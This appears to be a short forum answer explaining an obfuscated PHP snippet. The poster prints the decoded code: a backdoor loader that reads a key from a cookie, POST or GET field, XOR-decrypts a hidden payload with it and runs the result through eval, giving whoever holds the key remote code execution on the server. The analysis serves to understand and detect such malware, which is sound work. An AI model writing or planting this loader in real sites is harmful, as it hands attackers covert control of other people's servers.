3 ms·
The code is obfuscated as ascii characters in the $e variable. It uses the PHP function 'cor' to 'decrypt' the code (I think the same method is used in evil.pl)
by gulbrandr 15y ago
The code is obfuscated as ascii characters in the $e variable. It uses the PHP function 'cor' to 'decrypt' the code (I think the same method is used in evil.pl).
The PHP code is:
if (!@isset($_SERVER)) {
$_COOKIE = &$HTTP_COOKIE_VARS;
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
}
$k = $_COOKIE['key'];
if (empty($k)) {
$k = $_POST['key'];
}
if (empty($k)) {
$k = $_GET['key'];
}
if (!@function_exists('decrypt')) {
eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');
}
$d = @decrypt($d, $k);
eval($d);